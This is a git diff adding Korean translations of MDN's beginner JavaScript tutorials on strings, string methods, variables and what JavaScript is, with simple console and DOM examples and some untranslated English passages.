    + 이 생성자들은 어떤 상황에서는 정말 유용할 수 있습니다. 예를 들어, 만약 어떤 사용자가 숫자를 텍스트 필드 폼에 입력하면, 그 입력 값은 문자열일 것입니다. 하지만 만약 여러분이 이 숫자를 어떤 값에다 더하고 싶다면, 이 입력 값을 숫자로 변환해야 합니다. 이 경우 Number() 에 이 값을 넘겨줘서 이 문제를 해결할 수 있습니다.우리는 이미 Number Guessing Game, in line 61 에서 이를 사용한 적이 있습니다.
  6. +
+ +

마치며

+ +

여기까지 자바스크립트에서 다루는 문자열의 기본이었습니다. 다음 글에서는 자바스크립트에서 문자열에 사용할 수 있는 기본 제공 메소드를 조작하는 방법에 대해 알아보겠습니다.

+ +

{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}

+ + + +

In this module

+ + diff --git a/files/ko/learn/javascript/first_steps/useful_string_methods/index.html b/files/ko/learn/javascript/first_steps/useful_string_methods/index.html new file mode 100644 index 0000000000..81c18061a0 --- /dev/null +++ b/files/ko/learn/javascript/first_steps/useful_string_methods/index.html @@ -0,0 +1,461 @@ +--- +title: 문자열 제대로 다루기 +slug: Learn/JavaScript/First_steps/Useful_string_methods +translation_of: Learn/JavaScript/First_steps/Useful_string_methods +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}
+ +

이제까지 문자열의 기초를 살펴보았습니다. 이제부터 - 텍스트 문자열의 길이 찾기, 문자열 합치기 및 쪼개기 등과 같은- 내장된 메서드를 사용하여 문자열에서 수행할 수 있는 유용한 작업에 대해 생각해 봅시다. 문자열의 한 문자를 다른 문자로 대체하는 등의 작업을 수행합니다.

+ + + + + + + + + + + + +
선수 과목 : +

기본 컴퓨터 활용 능력, HTML 및 CSS에 대한 기본적인 이해, JavaScript가 무엇인지 이해합니다.

+
목표:문자열이 객체임을 이해하고, 해당 객체에서 사용할 수있는 몇 가지 기본 메서드를 사용하여 문자열을 조작하는 방법을 배웁니다.
+ +

Strings as objects

+ +

이전에 말했지만, 다시 말하면 - JavaScript의 모든 것이 객체입니다. 문자열을 만들 때, 예를 들면

+ +
var string = 'This is my string';
+ +

변수가 문자열 객체 인스턴스되면, 결과적으로 수많은 속성과 메서드가 사용 가능하게 됩니다. String 객체 페이지로 이동하여 페이지 측면의 목록을 내려다 보면 이것을 볼 수 있습니다!

+ +

이제 뇌가 녹기 시작하기 전에, 걱정하지 마십시오! 학습 여행 중에 초기에 대부분을 알 필요가 없습니다. 그러나 여기에서 살펴볼 몇 가지 사항을 자주 사용하게 될 것입니다.

+ +

콘솔에 예제를 작성해 보세요. 아래의 한 가지를 제공합니다(새 탭이나 새 창에서 콘솔을 열 수 있고, 브라우저의 개발자 콘솔을 사용할 수도 있습니다).

+ + + +

{{ EmbedLiveSample('Hidden_code', '100%', 300) }}

+ +

문자열의 길이 찾기

+ +

간단합니다 — 간단하게  {{jsxref("String.prototype.length", "length")}} 프로퍼티를 사용할 수 있습니다. 다음 코드를 입력해 보세요.

+ +
var browserType = 'mozilla';
+browserType.length;
+ +

결과는 7을 리턴해야 합니다. 'mozilla'는 7글자이기 때문입니다. 이것은 여러 가지 이유로 유용합니다. 예를 들어 이름의 길이에 따라 이름의 순서를 정렬해야 하던가, 유저가 작성한 이름이 특정 길이 이상일 때 너무 길다는 것을 알려줘야 하는 경우에 사용할 수 있습니다.

+ +

특정 문자열 찾기

+ +

관련하여, 대괄호 표기법을 이용해서 문자열 안의 문자를 구할 수 있습니다. 대괄호 표기법은 변수명 끝에 대괄호를 포함합니다. 대괄호 안에는 구하고 싶은 문자의 숫자를 포함시키면 되며, 예를 들어 아래의 경우 첫 번째 문자를 구할 수 있습니다:

+ +
browserType[0];
+ +

컴퓨터는 1이 아니라 0부터 숫자를 셉니다! 문자열의 마지막 문자를 구하기 위해서, 우리는 다음 코드를 사용할 수 있으며, 기술적인 length 프로퍼티과 같이 사용하면 아래와 같습니다:

+ +
browserType[browserType.length-1];
+ +

"mozilla"는 7글자이지만, 숫자는 0부터 시작하기 때문에 글자의 위치는 6입니다. 그렇기 때문에 length-1을 사용합니다. 예를 들어, 여러 문자열 중 첫 번째 문자를 찾아 알파벳순으로 정렬해야 할 경우에 사용할 수 있습니다.

+ +

문자열 내부의 하위 문자열 찾기 및 추출

+ +
    +
  1. 때때로 큰 문자열 안의 작은 문자열(우리는 이것을 하위 문자열이라고 이야기 한다.)을 찾고 싶을 것입니다. 이 작업은 {{jsxref("String.prototype.indexOf()", "indexOf()")}}를 사용하여 완료할 수 있습니다, which takes a single {{glossary("parameter")}} — 찾기 원하는 하위 문자열을 찾을 수 있습니다. 시도해 봅시다: +
    browserType.indexOf('zilla');
    + 결과는 2입니다. 하위 문자열인 "zilla"는 "mozilla'의 2번 위치(0, 1, 2— 그러므로 3번째 문자열)에서 시작합니다. 이러한 코드는 문자열을 필터링하는 데 사용될 수 있습니다. 예를 들어 웹 주소 목록에서 "mozilla"가 포함된 주소만 인쇄하고 싶은 경우입니다.
  2. +
  3. 다른 방법으로도 할 수 있으며, 더욱 효율적일 수 있습니다. 다음 예제를 따라해 봅시다: +
    browserType.indexOf('vanilla');
    + 이렇게 하면 -1( 하위 문자열 (이 경우 'vanilla')이 기본 문자열에서 발견되지 않으면 반환한다.)의 결과를 얻을 수 있습니다.
    +
    + 하위 문자열 'mozilla'가 포함되지 않은 문자열의 모든 인스턴스를 찾으려면 이 연산자를 사용하고 아래에 표시된 것처럼 부정 연산자를 사용해서 작업을 수행할 수 있습니다. 다음과 같이 할 수 있습니다: +
    if(browserType.indexOf('mozilla') !== -1) {
    +  // do stuff with the string
    +}
    +
  4. +
  5. 문자열 내에서 부분 문자열이 어디에서 시작되고 어떤 문자로 끝나는지 알고 싶으면 {{jsxref("String.prototype.slice()", "slice()")}}를 사용하여 문자열을 추출할 수 있습니다. 다음을 시도해 봅시다: +
    browserType.slice(0,3);
    + "moz"를 반환합니다 - 첫 번째 파라메터는 추출을 시작할 문자 위치이고 두 번째 파라메터는 추출할 문자의 갯수입니다. 따라서 슬라이스는 첫 번째 위치에서부터 세 번째 위치까지 포함됩니다.
  6. +
  7. 또한 특정 문자 뒤에 문자열의 나머지 문자를 모두 추출하려는 경우 두 번째 매개 변수를 포함하지 않고 문자열에서 나머지 문자를 추출할 위치의 문자 위치만 포함하면 됩니다. 다음을 시도해보십시오. +
    browserType.slice(2);
    + 이렇게 하면 "zilla"가 반환됩니다. 문자의 2번째 위치는 "z"이고 두 번째 매개 변수를 포함하지 않았기 때문에 반환된 하위 문자열은 문자열의 나머지 문자 모두입니다.
  8. +
+ +
+

Note: slice()의 두 번째 매개 변수는 선택사항입니다 : 이를 포함하지 않으면 slice()는 원래 문자열의 끝에 끝납니다. 게다가 다른 매개변수도 존재합니다.{{jsxref("String.prototype.slice()", "slice()")}} 페이지를 방문하여 더 자세하게 알 수 있습니다.

+
+ +

대/소문자 변경

+ +

문자열 메소드 {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} 와{{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}} 는 문자열을 가져와 그것을 모두 각각 대문자나 소문자로 바꿉니다. 이는 데이터베이스에 저장하기 전에 모든 사용자 입력 데이터를 표준화하려는 경우 유용합니다.

+ +

다음 행을 입력하여 어떻게 되는지 살펴보겠습니다.

+ +
var radData = 'My NaMe Is MuD';
+radData.toLowerCase();
+radData.toUpperCase();
+ +

문자열의 일부를 변경하기

+ +

문자열 내의 한 하위 문자열을 {{jsxref("String.prototype.replace()", "replace()")}} 를 통해 다른 하위 문자열로 바꿀 수 있습니다. 이 작업은 기본적인 수준에서 매우 간단하게 작동합니다. 하지만 아직 시도해보지 않은 고급 작업도 있습니다.

+ +

그것은 2개의 매개변수를 가집니다. — 바뀜을 당하는 문자와 바꾸려는 문자입니다. 다음 예제를 따라해보세요.:

+ +
browserType.replace('moz','van');
+ +

예제

+ +

이 섹션에서는 문자열을 다루는 방법을 설명합니다. 아래의 각 실습에서는 문자열로 이루어진 배열을 루프문을 사용해 bullet list(불릿 리스트)로 표현하였습니다. 지금 배열이나 루프를 이해할 필요가 없습니다. - 이러한 내용은 추후에 설명합니다. 중요한것은 각각의 문자열이 우리가 원하는 형식으로 출력하는 코드를 작성하는 것입니다.

+ +

각 예제에는 리셋 버튼이 있고, 리셋 버튼은 실수를 했거나 코드가 작동하지 않아서 재설정하는데 사용할 수 있습니다. 해결 방법을 모를 때, 해답 버튼(solution button)을 누르면  해답을 볼 수 있습니다.

+ +

인사말 필터링 하기

+ +

첫 번째 예제는 간단히 시작해봅시다. 우리는 배열에 들어있는 크리스마스 인사말 메시지를 정렬하려고 합니다. if(...)을 사용해 각 문자열을 비교하고 크리스마스 메시지인 경우의 목록만 인쇄하려고 합니다.

+ +
    +
  1. 먼저 각 메시지가 크리스마스 메시지인지 여부를 테스트할 수 있는 방법을 생각해봅시다. 메시지들은 어떤 문자열이 있고, 존재하는지 테스트하기 위해 어떤 방법을 사용할 수 있을까요?
  2. +
  3. 연산자와 피연산자를 사용해 조건문을 만들어야 합니다. 연산자 왼쪽에 있는것과 연산자 오른쪽에 있는 것이 동등한가요? 또는 이 경우 왼쪽 메서드가 오른쪽으로 결과값을 전달합니까?
  4. +
  5. 힌트 : 이 경우 메서드 호출이 결과값과 같지 않은지 테스트하는 것이 더 유용할 수 있습니다.
  6. +
+ + + +

{{ EmbedLiveSample('Playable_code', '100%', 490) }}

+ +

대/소문자 맞게 수정하기

+ +

이 예제에는 영국 도시의 이름들을 모아놨습니다만 대/소문자가 잘못되어 있습니다. 우리는 이 문자들을 첫 번째 문자를 제외하고 모두 소문자로 변경해야 합니다. 이것은 다음과 같은 방식으로 할 수 있습니다:

+ +
    +
  1. input 변수에 담긴 문자열 전체를 소문자로 변환한 후 새로운 변수에 저장하세요.
  2. +
  3. 새로운 변수에 저장된 문자열의 첫 문자를 다른 변수에 저장하세요
  4. +
  5. Using this latest variable as a substring, replace the first letter of the lowercase string with the first letter of the lowercase string changed to upper case. Store the result of this replace procedure in another new variable.
  6. +
  7. Change the value of the result variable to equal to the final result, not the input.
  8. +
+ +
+

Note: A hint — the parameters of the string methods don't have to be string literals; they can also be variables, or even variables with a method being invoked on them.

+
+ + + +

{{ EmbedLiveSample('Playable_code_2', '100%', 450) }}

+ +

Making new strings from old parts

+ +

In this last exercise the array contains a bunch of strings containing information about train stations in the North of England. The strings are data items that contain the three letter station code, followed by some machine-readable data, followed by a semi-colon, followed by the human-readable station name. For example:

+ +
MAN675847583748sjt567654;Manchester Piccadilly
+ +

We want to extract the station code and name, and put them together in a  string with the following structure:

+ +
MAN: Manchester Piccadilly
+ +

We'd recommend doing it like this:

+ +
    +
  1. Extract the three-letter station code and store it in a new variable.
  2. +
  3. Find the character index number of the semi-colon.
  4. +
  5. Extract the human-readable station name using the semi-colon character index number as a reference point, and store it in a new variable.
  6. +
  7. Concatenate the two new variables and a string literal to make the final string.
  8. +
  9. Change the value of the result variable to equal to the final string, not the input.
  10. +
+ + + +

{{ EmbedLiveSample('Playable_code_3', '100%', 485) }}

+ +

결론

+ +

자바스크립트에서 문장과 단어들을 다룰 수 있는 프로그래밍 능력이 매우 중요하다. 웹사이트는 사람들과 소통하는 공간이기 때문이다. 이 문서는 문자열을 다룰 수 있는 기초적인 내용에 대해 다루었다. 이 내용은 앞으로 배우게 될 심화 과정에 도움이 될 것이다. 다음으로 배열에 대해 알아보겠다.

+ +

{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}

diff --git a/files/ko/learn/javascript/first_steps/variables/index.html b/files/ko/learn/javascript/first_steps/variables/index.html new file mode 100644 index 0000000000..7d4b2adf4e --- /dev/null +++ b/files/ko/learn/javascript/first_steps/variables/index.html @@ -0,0 +1,360 @@ +--- +title: 필요한 정보를 저장하기-변수 +slug: Learn/JavaScript/First_steps/Variables +translation_of: Learn/JavaScript/First_steps/Variables +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}
+ +

앞선 두 수업을 듣고, 자바스크립트에 대해(웹 기술에서 어떻게 사용되는지, 큰 범위에서의 특징) 알아보았다. 이번 수업에서는 기본중에 기본인 자바스크립트의 주된 구성중 하나인 변수가 어떻게 이루어져 있는지 알아볼 것이다.

+ + + + + + + + + + + + +
알아야 할 것기본적인 컴퓨터 지식, 기본적인 HTML, CSS, JS의 이해
목표자바스크립트 변수에 대해 익혀보기
+ +

필요한 툴

+ +

이번 수업에서 컨텐츠에 대한 이해도를 테스트하고자, 코드를 입력하라는 요청을 받게 될 것이다. 만약 데스크탑 브라우저를 사용한다면, 코드를 실행하기 가장 좋은 프로그램은 브라우저의 자바스크립트 콘솔창일 것이다.(도구의 사용법에 대해 알고자 한다면 What are browser developer tools 를 참고하자)

+ +

변수란?

+ +

변수란, 숫자(합계나 계산에 사용되는) 또는 문자열(문장의 일부로 사용되는)과 같은 값의 컨테이너입니다. 그러나 변수에 대한 한 가지 특별한 점은 포함된 값이 변경될 수 있다는 것입니다. 간단한 예를 살펴 보겠습니다:

+ +
<button>Press me</button>
+ +
const button = document.querySelector('button');
+
+button.onclick = function() {
+  let name = prompt('What is your name?');
+  alert('Hello ' + name + ', nice to see you!');
+}
+ +

{{ EmbedLiveSample('What_is_a_variable', '100%', 50, "", "", "hide-codepen-jsfiddle") }}

+ +

이 예제에서 버튼을 누르면 몇 줄의 코드가 실행됩니다. 첫 번째 줄은 독자가 이름을 입력하도록 요청한 화면에 상자를 띄운 다음, 변수에 값을 저장합니다. 두 번째 줄은 변수 값에서 가져온, 이름이 포함된 환영 메시지가 표시됩니다. 

+ +

왜 변수가 유용한 지 이해하려면, 변수를 사용하지 않고 이 예제를 작성하는 방법에 대해 생각해 봅시다. 그러면 아마 이런 식으로 끝날 것입니다 :

+ +
let name = prompt('What is your name?');
+
+if (name === 'Adam') {
+  alert('Hello Adam, nice to see you!');
+} else if (name === 'Alan') {
+  alert('Hello Alan, nice to see you!');
+} else if (name === 'Bella') {
+  alert('Hello Bella, nice to see you!');
+} else if (name === 'Bianca') {
+  alert('Hello Bianca, nice to see you!');
+} else if (name === 'Chris') {
+  alert('Hello Chris, nice to see you!');
+}
+
+// ... and so on ...
+ +

우리가 사용하고있는 구문을 완전히 이해하지는 못했지만, 아이디어를 얻을 수 있어야 합니다-변수를 사용할 수 없다면, 입력된 이름을 검사하는 거대한 코드 블록을 구현해야합니다. 그런 다음 해당 이름에 대한 각각의 메시지를 출력해야 합니다. 이것은 분명히 비효율적입니다 (코드는 네 가지 선택만으로도 훨씬 더 커집니다). 그리고 가능한 모든 선택 사항(모든 이름들)을 저장할 수 없어 작동하지 않을 수도 있습니다. 

+ +

변수는 이해하기 쉽습니다. 자바 스크립트에 대해 더 많이 배우면, 변수들은 자연스럽게 느껴질 것입니다. 

+ +

변수에 대한 또 다른 특별한 점은 문자열과 숫자뿐 아니라 무엇이든 포함 할 수 있다는 것입니다. 변수에는 복잡한 데이터와 놀랄만 한 기능을 수행하는 함수(Function)까지 포함될 수 있습니다. 당신은 이것에 대해 점점 더 많이 배울 것입니다. 
+
+ 변수는 값을 포함하고 있습니다. 이것은 중요한 차이점입니다. 변수는 값 자체가 아닙니다. 변수는 값을 위한 컨테이너입니다. 당신은 변수란 물건들을 저장할 수있는 작은 골판지 상자와 같다고 생각할 수 있습니다.

+ +

+ +

변수의 선언

+ +

변수를 사용하기 위해서, 먼저 변수를 선언해야 합니다 - 보다 정확히는, 변수를 선언한다고 부른다. 이를 위해 키워드 var를 입력하고, 당신이 원하는 변수 이름을 입력합니다.

+ +
var myName;
+var myAge;
+ +

여기서 우리는 myName과 myAge라는 두 개의 변수를 생성합니다. 웹 브라우저의 콘솔 또는 아래 콘솔에서 두행을 입력해 보십시오 (원하는 경우, 콘솔을 별도의 탭이나 창에서 열 수 있음). 그 후, 자신이 명명한 변수를 만들어 보십시오.

+ + + +

{{ EmbedLiveSample('Hidden_code', '100%', 300) }}

+ +
+

Note: JavaScript에서는 모든 코드 명령어가 세미콜론 (;)으로 끝나야합니다. 코드를 한 줄로 작성해도 올바르게 작동할 지라도, 여러 줄의 코드를 함께 작성하는 경우에는 그렇지 않습니다. 그것을 포함시키는 습관을 갖도록 노력하십시오.

+
+ +

변수 이름을 입력하여 변수의 값이 실행 환경에 존재하는지 테스트 할 수 있습니다.

+ +
myName;
+myAge;
+ +

이 변수들은 값을 포함하고 있지 않은 빈 컨테이너 입니다. 변수 이름만 입력 할 경우 undefined 값을 반환하며 변수는 이 값(undefined)을 포함하게 됩니다. 만약 존재하지 않는(선언되지 않은) 변수는, 오류 메시지가 표시됩니다. 아래 변수를 입력하여 확인해 보세요.

+ +
scoobyDoo;
+ +
+

Note: 존재하지만 값을 포함하고 있지 않은 변수와, 존재하지 않은 변수를 혼돈하지 마십시오. 둘은 매우 다른 것들입니다.

+
+ +

변수의 초기화

+ +

변수를 선언한 후에는 값으로 초기화 할 수 있습니다. 변수 이름 다음에 등호(=)와 그 뒤에 부여 할 값을 입력하여 이 작업을 수행 할 수 있습니다.

+ +
myName = 'Chris';
+myAge = 37;
+ +

콘솔로 돌아가 코드들을 입력해 보세요. 각각의 경우 변수에 할당한 값은 콘솔을 통해 반환되어 확인 할 수 있습니다. 또한 단순히 변수 이름을 입력하여 변수 값을 반환 할 수 있습니다. 한번 해보세요.

+ +
myName;
+myAge;
+ +

다음과 같이 변수를 선언하고 동시에 초기화 할 수 있습니다.

+ +
var myName = 'Chris';
+ +

아마도 변수의 선언과 초기화를 두줄로 나누어 하는것 보다 더 빠르기 때문에 대부분 이러한 방식을 자주 사용 하게 될 겁니다.

+ +
+

Note: 여러 줄 문자열로 JavaScript 프로그램을 작성할 때(write a multiline JavaScript), 변수를 선언하기 전에 해당 변수의 값을 초기화 할 수 있습니다. 이것이 가능한 이유는 JavaScript 에서 일반적으로 변수 선언문이 다른 코드 보다 먼저 실행되기 때문인데, 이 동작을 호이스팅이라고 합니다. 자세한 내용은 var 호이스팅 문서를 참고하세요.

+
+ +

변수의 재지정

+ +

변수에 값이 할당되면 다른 값을 지정하여 해당 값을 업데이트 할 수 있습니다. 콘솔에 다음 행을 입력해 보세요.

+ +
myName = 'Bob';
+myAge = 40;
+ +

변수 이름에 대한 규칙

+ +

변수를 원하는 대로 이름을 부여 할 수 있지만 제한이 있습니다. 일반적으로 라틴 문자(0-9, a-z, A-Z)와 밑줄 문자를 사용해야 합니다.

+ + + +
+

Note: 다음 Lexical grammar — keywords 링크에서 예약어의 목록을 확인 할 수 있습니다.

+
+ +

바람직한 변수 이름의 예:

+ +
age
+myAge
+init
+initialColor
+finalOutputValue
+audio1
+audio2
+ +

바람직하지 않은 변수 이름의 예:

+ +
1
+a
+_12
+myage
+MYAGE
+var
+Document
+skjfndskjfnbdskjfb
+thisisareallylongstupidvariablenameman
+ +

위의 지침을 염두에 두고 몇가지 변수를 추가로 작성해 보세요.

+ +

변수의 종류

+ +

변수에 저장할 수 있는 몇가지 유형의 데이터(데이터 유형)가 있습니다. 이 섹션에서는 이를 간단히 설명하고 이후 자세히 살펴보겠습니다.

+ +

지금까지 우린 두가지 형태의 데이터 유형을 살펴 봤지만 다른 유형들도 있습니다.

+ +

숫자

+ +

30과 같은 숫자 (정수라고도 함) 나  2.456(부동소수점 또는 부동 소수점 숫자라고도 함) 같은 십진수 숫자를 변수에 저장할 수 있습니다. JavaScript는 일부 프로그래밍 언어처럼 숫자 유형에 따른 다른 데이터 유형을 가지고 있지 않습니다. 변수에 숫자 값 대입할 때, 따옴표 사용하지 않습니다.

+ +
var myAge = 17;
+ +

문자열

+ +

문자열은 텍스트의 조각입니다. 변수에 문자열 값을 대입할 때, 작은따옴표(')나 큰따옴표(")로 묶어야 합니다. 그렇지 않으면 JavaScript는 다른 변수 이름으로 해석하게 됩니다.

+ +
var dolphinGoodbye = 'So long and thanks for all the fish';
+ +

불리언(Booleans)

+ +

불리언(Booleans)은 true 이나  false 라는 값을 가지는 참/거짓을 표현하는 데이터 유형입니다. 일반적으로 조건을 테스트하는 데 사용되며 그 다음 코드가  조건에 따라 실행됩니다. 예를 들어 다음과 같습니다.

+ +
var iAmAlive = true;
+ +

일반적으로 다음과 같은 방식으로 더 많이 사용됩니다.

+ +
var test = 6 < 3;
+ +

위의 코드는 "작다" 연산자(<) 를 사용하여 6이 3보다 작은지를 확인 합니다. 예상 한대로 6이 3보다 작지 않으므로false 를 반환 합니다! 나중에 이러한 연산자에 대해 더 많이 배우게 됩니다.

+ +

배열

+ +

배열은 대괄호로 묶이고 쉼표로 구분 된 여러 값을 포함하는 단일 객체입니다. 다음 코드를 콘솔에 입력해 보세요.

+ +
var myNameArray = ['Chris', 'Bob', 'Jim'];
+var myNumberArray = [10,15,40];
+ +

이러한 배열이 정의되면 다음과 같은 구문을 사용하여 개별 값에 접근 할 수 있습니다. 다음 코드를 입력해 보세요.

+ +
myNameArray[0]; // should return 'Chris'
+myNumberArray[2]; // should return 40
+ +

대괄호에는 반환할 값의 위치를 지정하는 인덱스 값이 들어 있습니다. 컴퓨터는 우리 사람처럼 1대신 0부터 숫자를 센다는 것을 알 수 있습니다.

+ +

앞으로 배열에 대해 더 많이 배우게 됩니다.

+ +

객체

+ +

프로그래밍에서 객체(Objects)는 실제 사물(real life object)을 모델링 하는 코드 구조입니다. 예를들어 주차장 객체는 주차장의 높이와 넓이 정보를 가지고 표현 할 수 있으며, 사람 객체는 이름, 키, 몸무게, 사용하는 언어등의 정보를 가지고 표현 할 수 있습니다.

+ +

콘솔에 다음 코드를 입력해 보세요.

+ +
var dog = { name : 'Spot', breed : 'Dalmatian' };
+ +

객체에 저장된 정보를 검색하기 위해서는 아래 구문을 사용합니다.

+ +
dog.name
+ +

지금은 객체에 대해 더 자세하게 보지 않을 것입니다. - 앞으로 모듈에 있는 객체에 대해 더 많이 배울 수 있습니다.

+ +

지정되지 않은 타입

+ +

JavaScript는 "느슨한 유형의 언어(loosely typed language)" 입니다. 즉, 다른 언어와 달리 변수에 포함 할 데이터의 유형을 지정할 필요가 없습니다.(예: 숫자? 문자열?)

+ +

예를 들어, 변수를 선언하고 그 변수의 값을 따옴표로 묶은 값을 지정하면 브라우저는 변수의 값을 문자열로 인식합니다.

+ +
var myString = 'Hello';
+ +

따옴표 안에 숫자가 포함되어 있어도 여전히 문자열로 인식되므로 주의해야 합니다:

+ +
var myNumber = '500'; // oops, this is still a string
+typeof(myNumber);
+myNumber = 500; // much better — now this is a number
+typeof(myNumber)
+ +

위의 네 줄의 코드를 하나씩 콘솔에 입력하여 결과가 무엇인지 확인해 보세요.(주석은 입력하지 마세요.) 여기에서 typeof() 라는 특수 함수를 사용하고 있음을 알 수 있습니다. - 이 함수는 입력한 변수의 데이터 유형을 반환합니다. 위의 코드에서 처음으로 호출될 때, myNumber 변수에는 '500' 라는 문자열이 포함되어 있으므로  string 을 반환해야 합니다. 두 번째는 어떤 값을 반환하는지 확인해 보세요.

+ +

요약

+ +

지금까지 JavaScript의 변수란 무엇이며, 어떻게 생성하는지 알아보았습니다. 다음에는 JavaScript에서 숫자에 관해 자세히 살펴보고 기본 계산하는 방법을 알아보겠습니다.

+ +

{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Maths", "Learn/JavaScript/First_steps")}}

diff --git a/files/ko/learn/javascript/first_steps/what_is_javascript/index.html b/files/ko/learn/javascript/first_steps/what_is_javascript/index.html new file mode 100644 index 0000000000..e9198dd1d3 --- /dev/null +++ b/files/ko/learn/javascript/first_steps/what_is_javascript/index.html @@ -0,0 +1,423 @@ +--- +title: JavaScript가 뭔가요? +slug: Learn/JavaScript/First_steps/What_is_JavaScript +tags: + - Article + - Beginner + - CodingScripting + - Guide + - JavaScript + - Learn + - Script +translation_of: Learn/JavaScript/First_steps/What_is_JavaScript +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}
+ +

MDN의 JavaScript 초급자 과정에 오신 걸 환영합니다! 이 글은 JavaScript를 넓게 보면서 "뭔가요?", "뭘 하나요?"와 같은 질문을 답변하고, 여러분이 JavaScript에 친숙해지도록 도와드립니다.

+ + + + + + + + + + + + +
전제 조건: +

기본적인 컴퓨터 능력, HTML과 CSS 기초.

+
목표:JavaScript가 뭔지, 어떤 일을 할 수 있는 지, 웹사이트에 어떻게 적용하는지 알기.
+ +

둘러보기

+ +

자바스크립트는 복잡한 무언가(주기적으로 내용이 갱신되는 기능이나 능동적인 지도, 변화하는 2D/3D 그래픽, 동영상 등)를 웹페이지에 적용할 수 있게 하는 스크립트 혹은 프로그래밍 언어입입니다. 자바스크립트는 표준 웹 기술이라는 레이어 케이크에서 세번째 층이라고 볼 수 있습니다. 다른 두 층(HTML과 CSS)에 대한 보다 자세한 정보는 학습 영역의 다른 부분에서 찾아 볼 수 있습니다.

+ +

+ + + +

3개의 요소들은 각각 유기적으로 잘 구성되어 있습니다. 예제와 같이 간단한 폼을 만들어 봅시다. HTML을 사용하여 그 구조와 목적에 맞게 마크업 할 수 있습니다: 

+ +
<p>Player 1: Chris</p>
+ +

+ +

그리고 CSS를 추가하여 이쁘게 꾸밀 수도 있습니다:

+ +
p {
+  font-family: 'helvetica neue', helvetica, sans-serif;
+  letter-spacing: 1px;
+  text-transform: uppercase;
+  text-align: center;
+  border: 2px solid rgba(0,0,200,0.6);
+  background: rgba(0,0,200,0.3);
+  color: rgba(0,0,200,0.6);
+  box-shadow: 1px 1px 2px rgba(0,0,200,0.4);
+  border-radius: 10px;
+  padding: 3px 10px;
+  display: inline-block;
+  cursor:pointer;
+}
+ +

+ +

그러고 마지막으로 약간의 자바스크립트로 동적인 기능을 추가할 수 있습니다:

+ +
const para = document.querySelector('p');
+
+para.addEventListener('click', updateName);
+
+function updateName() {
+  let name = prompt('Enter a new name');
+  para.textContent = 'Player 1: ' + name;
+}
+
+ +

{{ EmbedLiveSample('A_high-level_definition', '100%', 80, "", "", "hide-codepen-jsfiddle") }}

+ +

마지막 버전의 텍스트 라벨을 클릭하여 어떻게 되는 지 확인해봅시다. (이 데모는 Github에서도 볼 수 있습니다. source code 나 run it live를 참고해보세요!)

+ +

자바스크립트는 보다 더 많은 일들을 할 수 있습니다. 이제 더 자세한 내용을 살펴봅시다!

+ +

그래서, 진짜 어떤 일을 할 수 있나요?

+ +

자바스크립트 언어의 핵심은 다음과 같은 일들을 할 수 있게하는 프로그래밍 기능들로 구성되어 있습니다:

+ + + +

하지만 더욱 흥미진진한 것은 코어 자바스크립트 언어(core JavaScript language) 기반의 기능성입니다. 소위 Application Programming Interfaces (APIs) 라는 것은 여러분의 자바스크립트 코드에 사용할 수 있는 추가적인 강력한 마법들을 제공합니다. 

+ +

API는 이미 만들어진 코드의 집합체라고 볼 수 있으며, 개발자들이 만들기 어렵고 힘든 부분을 쉽게 구현하도록 하는 프로그램이라고 볼 수 있습니다. 마치 집에서 가구를 만들 때 직접 디자인하고, 재료를 구하고, 재단하고, 못을 박고 하는 등 혼자서 모든 것을 하는 대신 가구 만들기 키트를 사는 것과 같다고 보면 됩니다.

+ +

일반적으로 두 종류로 구분됩니다.

+ +

+ +

Browser API는 웹 브라우저에 설치된 API들로, 컴퓨터 환경구성으로 부터 데이터를 보이게 하고 복잡한 일들을 하게 합니다. 예를 들어:

+ + + +
+

Note: 대부분의 데모 코드들은 오래된 브라우저에서는 실행이 안될 수 있으니, FireFox, Chrome, Edge, Opera와 같은 최신의 브라우저를 사용하는 것을 추천합니다.  실제 배포가 되는 코드처럼 여러 사용자가 사용할 수 있음을 고려하여 cross browser testing(여러 브라우저를 이용하여 테스트)를 해보는 것이 좋습니다.

+
+ +

Third party API 는 브라우저에 기본적으로 설치된 API가 아닌 인터넷에서 개인적으로 정보와 코드를 얻어 프로그래밍한 것을 말합니다. 예를 들어:

+ + + +
+

Note: 이러한 API 들은 고급 과정이며, 이 과정에서는 다루지 않을 것입니다. 이 API들에 대한 보다 자세한 정보는 Client-side web APIs module에서 살펴보세요.

+
+ +

물론 이것말고도 엄청나게 다양한 API들이 존재합니다!  하지만, 이 수업을 듣고 Facebook, Google Maps, Instagram등을 만들 수는 없으니 흥분하지는 말길 바랍니다. 이것보다 우리는 먼저 기본적인 것에 대해 배울 것이고 이것이 곧 이 수업을 진행하는 목적입니다. 자 시작해봅시다!

+ +

웹 페이지에서 JavaScript는 어떤 일을 하나요?

+ +

여기서 몇가지 코드를 실제로 살펴보고, 페이지에서 자바스크립트가 언제 어떻게 작동하는지 알아 볼 것입니다.

+ +

브라우저에서 웹페이지를 불러올 때 어떤 일이 발생하는지 생각해봅시다(먼저 How CSS works를 읽어 보세요.). 브라우저에서 웹페이지를 불러올 때, 실행 환경(브라우저 탭)안에서 HTML, CSS, Javascript 코드가 실행됩니다. 이는 마치 공장에서 원재료(코드)가 일련의 과정을 거쳐 제품(웹페이지)으로 탄생되는 것과 같습니다.

+ +

+ +

자바스크립트는 HTML과 CSS가 결합되고 웹페이지 상에서 올려진 후, 브라우저의 자바스크립트 엔진에 의해 실행됩니다. 이는 페이지의 구조와 스타일등을 정해놓고, 자바스크립트가 실행된다는 것과 같은 의미입니다.

+ +

